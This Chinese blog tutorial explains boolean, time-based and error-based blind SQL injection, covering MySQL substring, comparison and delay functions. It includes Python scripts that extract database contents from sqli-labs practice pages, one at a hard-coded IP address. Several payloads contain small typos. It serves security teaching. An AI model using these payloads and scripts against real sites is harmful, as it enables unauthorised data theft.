当前位置: 首页 > news >正文

35分钟了解sql注入-盲注(三)

🏆今日学习目标:
🍀学习sql注入之盲注操作
✅创作者:贤鱼
⏰预计时间:25分钟
🎉个人主页:贤鱼的个人主页
🔥专栏系列:网络安全

请添加图片描述

盲注

  • 布尔盲注
    • 原理
    • 布尔盲注payload构造步骤
    • 截取字符串
      • substr()
      • mid
      • rigth()
      • left()
      • regexp
      • rlike
      • trim
      • insert
    • 字符串定位函数
    • 比较
      • =<>
      • rlike/regexp
      • between
      • in
      • and,or减法运算
    • 脚本
  • 时间盲注
    • 原理
    • 时间盲注payload步骤
    • 条件语句构造
      • and
      • or
    • 延时操作
      • sleep
      • benchmark
      • 笛卡尔积延时
      • 正则dos延时
    • 脚本
  • 报错盲注
    • 原理

⚠盲注内容较多,可能需要花费一些时间

布尔盲注

原理

存在sql注入漏洞的地方,但是不会会先数据,只能看到是否执行成功,这样子就不能通过注入数据回显了,就需要盲注,盲注对一个数据多次测试

举个例子

如果"库名"第一个字母是a,就回显“查询成功”,反之“查询失败”;
如果"库名"第一个字母是b,就回显“查询成功”,反之“查询失败”;
如果"库名"第一个字母是c,就回显“查询成功”,反之“查询失败”;
如果"库名"第一个字母是d,就回显“查询成功”,反之“查询失败”;
......
如果"库名"第一个字母是z,就回显“查询成功”,反之“查询失败”;
......

名字可能由任何字符组成,我们如果匹配上了,就把他记录下来,一位一位的比较,就可以获得我们要的数据了
当然,如果手动比较,电脑和我的手一定会炸掉一个
所以我们需要写脚本,在后文会介绍到。

布尔盲注payload构造步骤

确定注入点,找到回显不同,例如:内容不同或者http头部不同

我们该如何构造语句呢?
举个栗子

SELECT name, mojority FROM student WHERE student_id = '0' or substr((QUERY),1,1) = 'a'

SELECT name, mojority FROM student WHERE student_id = ‘0’ or substr((QUERY),1,1) = ‘a’
这个部分就是我们需要构造的部分

构造语句的两个重点:
字符串如何截取
比较结果是否相等

所以盲注就相当于把注入内容一位一位拆开然后比较内容,最后比较出啥输出啥,然后将比较到的每一位字符都输出就是我们的答案了

截取字符串

substr()

使用方法:
substr(要截取的字符串,从哪一位开始,截取多长)

例如

select substr((select database()),1,1);

mid

用法和substr完全相同!!可以互相绕过过滤

rigth()

使用方法
right(要截取的字符串,截取长度)
表示截取字符串右边几位
注意:
配合ascii/ord一起使用,这两个函数是返回传入字符串的首字母的ASCII码
使用方法:
ascii((right(要截取的字符串,x)))
返回的内容是从右往左x位的ascii码

举个栗子

select ascii(right((select database()), 2));

left()

使用方法:
left(要截取的字符串,截取长度)
表示截取字符串左边第几位
注意:
配合reverse()+ascii/ord使用,用法和上面类似

举个栗子:

elect ascii(reverse(left((select database()), 2));

regexp

使用方法:
binary 目标字符串 regexp 正则
判断一个字符串是否匹配一个正则表达式

举个栗子:

select (select database()) regexp binary '^sec'

rlike

用法和regexp雷同

trim

trim(leading ‘a’ from ‘abcd’)
表示移除句首a,会返回abc,如果将from前的a改成b,则会返回abcd

insert

用法
insert(字符串,起始位置,长度,替换成什么)

字符串定位函数

INSTR(str,substr)> 返回字符串 str 中子字符串的第一个出现位置,否则为0
FIND_IN_SET(str,strlist)> 返回字符串 str 中子字符串的第一个出现位置,否则为0
LOCATE(substr,str,pos)> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置
在pos。如若substr 不在str中,则返回值为0
POSITION(substr IN str)> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串
substr 在 str 中不存在,返回值为 0

用法: locate(substr, str, pos) 字符串 str中子字符串substr的第一个出现位置, 起始位置在
pos。如若substr 不在str中,则返回值为0。

比较

=<>

我觉得不需要讲。。。

rlike/regexp

上文有讲,截取+比较结合体

between

用法
expr between 下界 and 上界
意思是是否expr>=下界 &&expr<=上界

in

用法
expr0 in(expr0,expr1,expr2)

and,or减法运算

可以用一个 true 去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
ASCII码:

SELECT 1 AND ascii("a")-97;

可以用一个 false 去或运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
ASCII码:

SELECT 0 OR ascii("a")-97;

脚本

import requests
req = requests.session()
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*
()-=_+`[]{}\\|;:\'",./<>?'
url = "http://47.94.236.172:18080/Less-8/"
result = ""
query = "database()"
payload = "-1' or ascii(substr(({query}),{pos},1))={c}#"
# payload = "1' and if(ascii(insert((insert({query}, 1,
{pos},'')),2,9999999,''))={c},1,0)#"
for i in range(1, 50):
	for j in chars:
		data = {'id': payload.format(query=query, pos=i, c=ord(j))}
		resp = req.get(url, params=data) #GET:params=data POST:data=data
		# print(resp.url)
		# print(resp.text)
		if "You are in" in resp.text:
			result += j
			print(result)
			break
print('end...')
print(result)

这里还提供另一种方法:二分法

import requests
url = 'http://47.94.236.172:18080/Less-8/'
result = ''
query = "select group_concat(SCHEMA_name) from information_schema.schemata"
payload = "-1' or ascii(substr(({query}),{pos},1))>{c}#"
req = requests.session()
for x in range(1, 50):
	high = 127
	low = 32
	mid = (low + high) // 2
	while high > low:
		data = {"id": payload.format(query=query, pos=x, c=mid)}
		resp = requests.get(url, params=data) #GET:params=data POST:data=data
		# print(resp.url)
		if 'You are in' in resp.text: #
			low = mid + 1
		else:
			high = mid
		mid = (low + high) // 2
	# print(mid)
	result += chr(int(mid))
	print(result)
print("end.......")
print(result)

时间盲注

原理

有那么一种可能,查询成功失败返回的都一样,那么我们就无法通过返回结果看比较是否成功了,这时候就需要从裤裆里掏出时间盲注了!!!

介绍下原理:

如果"数据库名"的第1个字母是a,你就睡眠5秒,否则就直接回显
如果"数据库名"的第1个字母是b,你就睡眠5秒,否则就直接回显
......
如果"数据库名"的第2个字母是a,你就睡眠5秒,否则就直接回显
如果"数据库名"的第2个字母是b,你就睡眠5秒,否则就直接回显
如果"数据库名"的第2个字母是c,你就睡眠5秒,否则就直接回显
......
后面以此类推

时间盲注payload步骤

和上文布尔盲注差不多,只不过在构造条件语句时关注延时操作而不是返回值了

条件语句构造

往上翻,啥都有

补充一下

and

如果and前为真,执行后面内容

(condition) AND sleep(5)

or

如果前面为假才执行后面

!(condition) OR sleep(5)

延时操作

这里还是要写一下

sleep

意思是休眠指定事件后继续

栗子:

SELECT if(ascii(substr((QUERY),8,1))=121,sleep(5),0);

benchmark

用法
benchmark(执行次数,执行什么)

栗子:

SELECT benchmark(10000000,sha1('test'));

笛卡尔积延时

注意当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;

SELECT count(*) FROM information_schema.columns A,
information_schema.columns B, information_schema.columns C;

正则dos延时

原理:
通过费时正则匹配操作消耗时间

栗子:

select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE
concat(repeat('(a.*)+',30),'b');

脚本

期不期待
同样给到两个方法:

import requests
url = 'http://localhost/sqli-labs/Less-8/'
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*
()-=_+`[]{}\\|;:\'",./<>?'
query = "database()"
payload = "1' and if(ascii(substr(({query})),{pos},1))={c},sleep(10),0)#"
result = ''
req = requests.session()
for i in range(1, 50):
	for j in chars:
		data = {'id': payload.format(query=query, pos=i, c=ord(j))}
		try:
			resp = requests.get(url, params=data, timeout=5) #GET:params=dataPOST:data=data
			print(resp.url)
		except requests.Timeout:
			result += j
			print(result)
			break
print('end...')
print(result)

二分法

import requests
url = 'http://47.94.236.172:18080/Less-9/'
result = ''
query = "database()"
payload = "1' and if(ascii(substr(({query}),{pos},1))>{c},sleep(10),0)#"
req = requests.session()
for x in range(1, 50):
	high = 127
	low = 32
	mid = (low + high) // 2
	while high > low:
		data = {"id": payload.format(query=query, pos=x, c=mid)}
		try:
			resp = requests.get(url, params=data, timeout=5) #GET:params=data POST:data=data
			print(resp.url)
		except requests.Timeout:
			low = mid + 1
			mid = (low + high) // 2
			# print(data)
			continue
		high = mid
		mid = (low + high) // 2
		# print(mid)
	result += chr(int(mid))
	print(result)
print("end.......")
print(result)

报错盲注

用法和延时盲注基本一致,但是可以用来绕过过滤延时盲注的关键字

原理

原理就是比较条件为真时,通过调用产生错误的函数

if(condition,报错,不报错)

🏆结束语
如果有需要可以订阅专栏,持续更新!
让我们下期再见!!
请添加图片描述

相关文章:

  • python求解四位数 青少年编程电子学会python编程等级考试三级真题解析2021年6月
  • SpringCloudAlibaba之gateway网关
  • 七牛云配置自定义域名
  • Spring/IoC、DI、Bean
  • 信息管理java毕业设计项目分享【含源码+论文】
  • MASA Stack 第五期社区例会
  • JavaScript 30. JSON
  • CAS:26915-72-0,mPEG-Methacrylate,mPEG-MAC,甲氧基-聚乙二醇-甲基丙烯酸酯
  • 分布式事务最经典的八种解决方案
  • 2.ROS编程学习:话题通信c++
  • 【python】计算偏度和峰度
  • 单片机原理指令系统习题超详细讲解
  • 使用Python,Keras和TensorFlow训练第一个CNN
  • Flutter: Dart 参数,以及 @required 与 required
  • 基于JAVA网上商城系统演示录像计算机毕业设计源码+数据库+lw文档+系统+部署
  • ----------
  • 《剑指offer》分解让复杂问题更简单
  • 【140天】尚学堂高淇Java300集视频精华笔记(86-87)
  • 【EOS】Cleos基础
  • JavaWeb(学习笔记二)
  • jdbc就是这么简单
  • JS+CSS实现数字滚动
  • PHP那些事儿
  • SpiderData 2019年2月25日 DApp数据排行榜
  • 如何用Ubuntu和Xen来设置Kubernetes?
  • 设计模式 开闭原则
  • 小程序测试方案初探
  • 一个SAP顾问在美国的这些年
  • Java数据解析之JSON
  • Unity3D - 异步加载游戏场景与异步加载游戏资源进度条 ...
  • ​secrets --- 生成管理密码的安全随机数​
  • ​力扣解法汇总1802. 有界数组中指定下标处的最大值
  • #if 1...#endif
  • %@ page import=%的用法
  • (10)Linux冯诺依曼结构操作系统的再次理解
  • (1综述)从零开始的嵌入式图像图像处理(PI+QT+OpenCV)实战演练
  • (DFS + 剪枝)【洛谷P1731】 [NOI1999] 生日蛋糕
  • (Java数据结构)ArrayList
  • (Redis使用系列) SpirngBoot中关于Redis的值的各种方式的存储与取出 三
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (定时器/计数器)中断系统(详解与使用)
  • (九十四)函数和二维数组
  • (算法)Game
  • (五)大数据实战——使用模板虚拟机实现hadoop集群虚拟机克隆及网络相关配置
  • (已解决)vue+element-ui实现个人中心,仿照原神
  • (原創) 如何解决make kernel时『clock skew detected』的warning? (OS) (Linux)
  • (转)winform之ListView
  • .NET企业级应用架构设计系列之技术选型
  • .sys文件乱码_python vscode输出乱码
  • @property @synthesize @dynamic 及相关属性作用探究
  • []新浪博客如何插入代码(其他博客应该也可以)
  • [c]统计数字
  • [EULAR文摘] 脊柱放射学持续进展是否显著影响关节功能
  • [HackMyVM]靶场 Quick3
  • [hdu 1247]Hat’s Words [Trie 图]